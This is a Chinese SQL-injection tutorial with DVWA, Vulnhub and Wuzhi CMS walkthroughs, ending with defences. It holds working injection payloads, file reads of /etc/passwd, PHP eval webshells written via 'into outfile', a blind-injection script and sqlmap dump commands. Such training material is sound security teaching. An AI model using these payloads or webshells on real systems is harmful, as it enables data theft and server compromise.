[红日安全]Web安全Day1 - SQL注入实战攻防
字数 2839 2025-08-18 11:38:53
SQL注入实战攻防教学文档
1. SQL注入基础
1.1 漏洞简介
SQL(结构化查询语言)是用于数据库的标准数据查询语言。SQL注入是通过构造恶意SQL语句来攻击数据库的一种技术。
1.2 漏洞原理
攻击者可以通过网站存在的查询语句进行构造,漏洞可能存在于:
- 查询语句
- API接口
- 隐藏链接
- HTTP头数据
- 写入数据等
关键数据库信息:
information_schema数据库中的SCHEMATA、TABLES、COLUMNS表SCHEMATA表存放所有数据库名,字段名为SCHEMA_NAME
关键函数:
database()- 当前数据库名version()- 当前MySQL版本user()- 当前MySQL用户
1.3 漏洞危害
- 获取敏感信息
- 修改数据
- 数据库导出(脱裤)
- 上传webshell
- 执行系统命令
2. SQL注入类型
2.1 数字与字符串注入
- 数字不加单引号:
2+2=4 - 字符串加单引号:
'2'+'2'='22'
2.2 内联SQL注入
使用and、or等逻辑运算符进行注入
2.3 报错注入
利用数据库报错信息判断注入点,常用特殊字符:
' \ ; %00 ) ( # "
2.4 盲注
常用函数
length()- 计算长度id=1' and length(database())=8;left(a)=b- 判断左侧字符select left(database(),1)='r';substr()/substring()- 截取字符串select substr(database(),1,1)='a';mid()- 截取字符串select mid(database(),1)='testt';ascii()- 返回字符ASCII值ord()- 返回第一个字符ASCII值updatexml()- XML文档修改函数updatexml(XML_document, XPath_string, new_value);exp()- 指数函数,可用于报错注入select exp(710); -- 会产生溢出报错
盲注类型
- 布尔盲注 - 根据页面返回内容判断
- 无报错回显注入 - 根据页面是否正确显示判断
- 时间盲注 - 根据响应时间判断
if(length(database())>1,sleep(5),1)
2.5 堆叠查询注入
通过分号隔开执行多条语句
2.6 Union注入
前面不存在才会执行后面的语句,常配合布尔盲注使用
2.7 二次注入
存入数据库时做了过滤,但取出时未过滤导致的注入
2.8 宽字节注入
数据库编码为GBK时可能存在的注入,使用%df
2.9 Cookie注入
Cookie中的参数可能存在注入
2.10 编码注入
如Base64编码注入
2.11 XFF注入攻击
伪造X-Forwarded-for客户端IP
2.12 DNS_log注入
利用DNS查询记录信息
2.13 组合注入
多种注入方式组合攻击,如union+盲注
3. SQL注入绕过技术
- 大小写绕过
- pathinfo配合dnslog
原本是id=1变成1.txt?id=1
4. 常见数据库类型
4.1 Access
本地访问数据库
4.2 MySQL
- 端口:3306
- 默认库:
information_schema - 注释符号:
--(需空格)、/* */、# - 字符串连接:
'a' 'b'='ab'
常用查询:
select schema_name from information_schema.schemata; -- 查询所有数据库
select table_schema,table_name from information_schema.tables; -- 查询所有数据库和表
select column_name from information_schema.columns; -- 查询所有列
select 列 from 库.表; -- 查询值
4.3 SQL Server
- 端口:1433
- 注释符号:
-- - 字符串连接:
'a'+'b'='ab'
4.4 Oracle
- 端口:1521
- 注释符号:
-- - 字符串连接:
'a'||'b'='ab'
4.5 PostgreSQL
- 端口:5432或5433
- 注释符号:
-- - 字符串连接:
'a'||'b'='ab'
4.6 DB2
- 端口:5000
4.7 MongoDB
- 端口:27017
5. SQL注入攻击手段
5.1 数据库提权
5.2 万能密码登陆
ASP站点万能密码:'or'='or'
5.3 窃取哈希口令
5.4 数据库Dump
5.5 文件读写
5.5.1 load_file()读取文件
前提:
- 知道文件绝对路径
- 能使用union查询
- 对web目录有写权限
示例:
union select 1,load_file('/etc/passwd'),3,4,5#
-- 或使用十六进制
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
5.5.2 into outfile写入文件
前提:
- 文件名必须是全路径(绝对路径)
- 用户有写文件权限
- 未过滤单引号
示例:
select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile 'C:\phpStudy\PHPTutorial\WWW\8.php'
常用一句话PHP:
<?php eval($_POST["admin"]); ?>
<?php eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
5.5.3 数据库备份文件
6. SQL注入测试方法
6.1 手工测试(DVWA靶场)
6.1.1 DVWA简介
用PHP+Mysql编写的WEB漏洞教学程序,包含SQL注入、XSS、盲注等漏洞。
6.1.2 DVWA安装
- 下载:https://github.com/ethicalhack3r/DVWA/archive/master.zip
- 使用PHPStudy搭建,放入www目录
6.1.3 测试过程
Low级别
- 判断注入点:
id=1'%23 -- 使用%23(#)注释后面语句 - 构造注入:
id=1'or 1=1%23 -- 返回所有数据 - 堆叠注入:
id=1';select * from users%23 - Union注入:
- 判断字段数:
order by 3 -- 报错说明字段数为2 - Union查询:
id=1'union+select+1,2%23 -- 测试显示位 id=1'union+select+table_schema,table_name from information_schema.tables%23 -- 查询所有库和表 id=1'union+select+first_name,password from dvwa.users%23 -- 查询用户数据
- 判断字段数:
- 盲注:
- 判断数据库名长度:
1' and length(database())=4# - 逐字符判断:
1' and mid(database(),1,1)='d'# - 时间盲注:
1' and if(length(database())=4,sleep(5),1) # -- 明显延迟
- 判断数据库名长度:
Medium级别
- 改为POST型,数字型注入
- 绕过过滤函数
High级别
- 通过session传递id
- 限制一次显示一行
Impossible级别
- 使用PDO预处理,有效防御SQL注入
6.2 工具测试
6.2.1 Python半自动化脚本
用于盲注,示例代码:
import urllib.request
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36',
'Cookie': 'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'
}
payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
url = "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end = "&Submit=Submit#"
if __name__ == '__main__':
a = ""
for i in range(1, 20):
for j in payload:
url1 = "%27+and+mid%28database%28%29%2C" + str(i) + "%2C1%29%3D%27" + str(j) + "%27%23"
url_code_name = urllib.parse.quote(url1)
try:
rp = urllib.request.Request(url + url1 + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a += j
print(a)
break
except:
continue
6.2.2 SQLMAP使用
常用参数
-u:指定URL--cookie:指定cookie--current-db:当前数据库--current-user:当前用户--dbs:所有数据库-D:指定数据库--tables:指定数据库的表-T:指定表--columns:指定表的列-C:指定列--dump:导出数据
攻击实例
- 查看当前数据库:
sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" --current-db - 查看所有表:
sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa --tables - 导出数据:
sqlmap.py -u "http://192.168.123.20/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low" -D dvwa -T users -C user,password --dump
6.3 其他靶场
6.3.1 WebGoat
Java靶场程序,包含30多个训练课程
6.3.2 DSVW
Python开发的Web应用漏洞演练系统,包含26种漏洞环境
7. 真实靶场演练(Vulnhub)
7.1 Vulnhub简介
提供各种漏洞环境的靶场平台,使用虚拟机镜像文件
7.2 靶场实战
- 盲注检测:
http://10.1.0.239/products.php?type=1%20and%201=1 -- 正常 http://10.1.0.239/products.php?type=1%20and%201=2 -- 不正常 - 爆破数据库名:
http://10.1.0.239/products.php?type=1%20and%20mid(database(),1,1)=%27D%27 - 报错注入:
http://10.1.0.239/details.php?prod=1%20and(select%20ascii(mid((select%20password%20from%20seattle.tblMembers%20limit%200,1),1,1)))=100&type=1
8. CMS实战演练
8.1 五指CMS漏洞分析
漏洞文件:/coreframe/app/promote/admin/index.php
漏洞代码:
public function search() {
$siteid = get_cookie('siteid');
$keywords = $GLOBALS['keywords'];
if($fieldtype=='place') {
$where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";
} else {
$where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";
}
}
8.2 漏洞利用
Payload:
http://10.1.1.6/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23
9. SQL注入防御
9.1 数据库层面
- 最小权限原则
- 禁用敏感函数
9.2 代码层面防御
- 使用预处理语句(PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id'); $stmt->execute(['id' => $id]); - 输入过滤:
htmlspecialchars()- HTML实体编码addslashes()- 添加转义字符
- 白名单验证
- 使用ORM框架
9.3 Web应用防火墙(WAF)
- 过滤恶意请求
- 规则更新
9.4 其他措施
- 错误信息不直接显示
- 定期安全审计
- 参数化查询
- 存储过程
10. 总结
SQL注入是危害性极高的Web安全漏洞,攻击者可以通过构造恶意SQL语句获取敏感数据、控制系统等。防御SQL注入需要从数据库配置、代码编写、输入验证等多方面入手,最重要的是使用参数化查询和预处理语句,从根本上杜绝SQL注入的可能性。